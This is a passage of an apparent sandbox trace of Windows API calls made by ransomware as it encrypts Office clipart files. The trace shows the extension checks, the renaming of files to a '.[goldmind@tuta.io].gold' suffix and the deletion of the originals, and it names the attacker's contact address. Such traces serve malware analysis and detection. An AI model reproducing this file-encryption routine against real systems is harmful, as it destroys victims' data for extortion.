4 [0099.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.546] lstrlenW (lpString=".7z") returned 3 [0099.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.546] lstrlenW (lpString=".dbf") returned 4 [0099.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.546] lstrlenW (lpString=".1cd") returned 4 [0099.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 63 [0099.546] lstrlenW (lpString=".jpg") returned 4 [0099.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.546] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.546] lstrlenW (lpString="HH02312_.WMF") returned 12 [0099.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.546] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4970) returned 1 [0099.546] CloseHandle (hObject=0x198) returned 1 [0099.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0099.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.547] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.547] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.547] GetLastError () returned 0x0 [0099.547] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x136a, lpOverlapped=0x0) returned 1 [0099.554] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0099.555] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.555] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.555] SetEndOfFile (hFile=0x190) returned 1 [0099.555] CloseHandle (hObject=0x190) returned 1 [0099.555] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.555] SetEndOfFile (hFile=0x198) returned 1 [0099.557] CloseHandle (hObject=0x198) returned 1 [0099.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0099.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.604] lstrlenW (lpString=".doc") returned 4 [0099.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.604] lstrlenW (lpString=".docx") returned 5 [0099.604] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.604] lstrlenW (lpString=".pdf") returned 4 [0099.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.604] lstrlenW (lpString=".xls") returned 4 [0099.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.604] lstrlenW (lpString=".xlsx") returned 5 [0099.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.604] lstrlenW (lpString=".ppt") returned 4 [0099.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.604] lstrlenW (lpString=".zip") returned 4 [0099.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.604] lstrlenW (lpString=".rar") returned 4 [0099.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.604] lstrlenW (lpString=".bz2") returned 4 [0099.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.604] lstrlenW (lpString=".7z") returned 3 [0099.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".dbf") returned 4 [0099.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".1cd") returned 4 [0099.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".jpg") returned 4 [0099.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".doc") returned 4 [0099.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString=".docx") returned 5 [0099.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.605] lstrlenW (lpString=".pdf") returned 4 [0099.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString=".xls") returned 4 [0099.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.605] lstrlenW (lpString=".xlsx") returned 5 [0099.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.605] lstrlenW (lpString=".ppt") returned 4 [0099.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".zip") returned 4 [0099.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.605] lstrlenW (lpString=".rar") returned 4 [0099.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString=".bz2") returned 4 [0099.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString=".7z") returned 3 [0099.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".dbf") returned 4 [0099.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".1cd") returned 4 [0099.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0099.605] lstrlenW (lpString=".jpg") returned 4 [0099.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.605] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.605] lstrlenW (lpString="HM00005_.WMF") returned 12 [0099.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.622] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=23300) returned 1 [0099.622] CloseHandle (hObject=0x198) returned 1 [0099.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0099.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0100.276] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.276] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.653] GetLastError () returned 0x0 [0100.653] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5b04, lpOverlapped=0x0) returned 1 [0100.655] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b10, lpOverlapped=0x0) returned 1 [0100.656] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.656] WriteFile (in: hFile=0x190, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.656] SetEndOfFile (hFile=0x190) returned 1 [0100.656] CloseHandle (hObject=0x190) returned 1 [0100.656] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.656] SetEndOfFile (hFile=0x3ac) returned 1 [0100.658] CloseHandle (hObject=0x3ac) returned 1 [0100.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0100.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.667] lstrlenW (lpString=".doc") returned 4 [0100.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.667] lstrlenW (lpString=".docx") returned 5 [0100.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.667] lstrlenW (lpString=".pdf") returned 4 [0100.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.667] lstrlenW (lpString=".xls") returned 4 [0100.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.667] lstrlenW (lpString=".xlsx") returned 5 [0100.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.667] lstrlenW (lpString=".ppt") returned 4 [0100.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.667] lstrlenW (lpString=".zip") returned 4 [0100.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.667] lstrlenW (lpString=".rar") returned 4 [0100.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.667] lstrlenW (lpString=".bz2") returned 4 [0100.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.667] lstrlenW (lpString=".7z") returned 3 [0100.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.667] lstrlenW (lpString=".dbf") returned 4 [0100.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.667] lstrlenW (lpString=".1cd") returned 4 [0100.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.667] lstrlenW (lpString=".jpg") returned 4 [0100.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.668] lstrlenW (lpString=".doc") returned 4 [0100.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString=".docx") returned 5 [0100.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.668] lstrlenW (lpString=".pdf") returned 4 [0100.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString=".xls") returned 4 [0100.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.668] lstrlenW (lpString=".xlsx") returned 5 [0100.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.668] lstrlenW (lpString=".ppt") returned 4 [0100.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.668] lstrlenW (lpString=".zip") returned 4 [0100.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.668] lstrlenW (lpString=".rar") returned 4 [0100.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString=".bz2") returned 4 [0100.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString=".7z") returned 3 [0100.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.668] lstrlenW (lpString=".dbf") returned 4 [0100.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.668] lstrlenW (lpString=".1cd") returned 4 [0100.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0100.668] lstrlenW (lpString=".jpg") returned 4 [0100.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.668] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.668] lstrlenW (lpString="J0086420.WMF") returned 12 [0100.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0100.669] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=9596) returned 1 [0100.669] CloseHandle (hObject=0x3c0) returned 1 [0100.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0100.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0100.670] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.670] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0100.670] GetLastError () returned 0x0 [0100.670] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x257c, lpOverlapped=0x0) returned 1 [0100.672] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0100.672] ReadFile (in: hFile=0x3c0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.672] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.672] SetEndOfFile (hFile=0x180) returned 1 [0100.673] CloseHandle (hObject=0x180) returned 1 [0100.673] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.673] SetEndOfFile (hFile=0x3c0) returned 1 [0100.676] CloseHandle (hObject=0x3c0) returned 1 [0100.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0100.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.677] lstrlenW (lpString=".doc") returned 4 [0100.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.677] lstrlenW (lpString=".docx") returned 5 [0100.677] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0100.677] lstrlenW (lpString=".pdf") returned 4 [0100.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.677] lstrlenW (lpString=".xls") returned 4 [0100.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.678] lstrlenW (lpString=".xlsx") returned 5 [0100.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0100.678] lstrlenW (lpString=".ppt") returned 4 [0100.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.678] lstrlenW (lpString=".zip") returned 4 [0100.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.678] lstrlenW (lpString=".rar") returned 4 [0100.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString=".bz2") returned 4 [0100.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString=".7z") returned 3 [0100.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.678] lstrlenW (lpString=".dbf") returned 4 [0100.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.678] lstrlenW (lpString=".1cd") returned 4 [0100.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.678] lstrlenW (lpString=".jpg") returned 4 [0100.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.678] lstrlenW (lpString=".doc") returned 4 [0100.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString=".docx") returned 5 [0100.678] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0100.678] lstrlenW (lpString=".pdf") returned 4 [0100.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString=".xls") returned 4 [0100.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.678] lstrlenW (lpString=".xlsx") returned 5 [0100.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0100.678] lstrlenW (lpString=".ppt") returned 4 [0100.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.678] lstrlenW (lpString=".zip") returned 4 [0100.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.678] lstrlenW (lpString=".rar") returned 4 [0100.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString=".bz2") returned 4 [0100.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.678] lstrlenW (lpString=".7z") returned 3 [0100.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.679] lstrlenW (lpString=".dbf") returned 4 [0100.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.679] lstrlenW (lpString=".1cd") returned 4 [0100.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0100.679] lstrlenW (lpString=".jpg") returned 4 [0100.679] lstrcmpiW 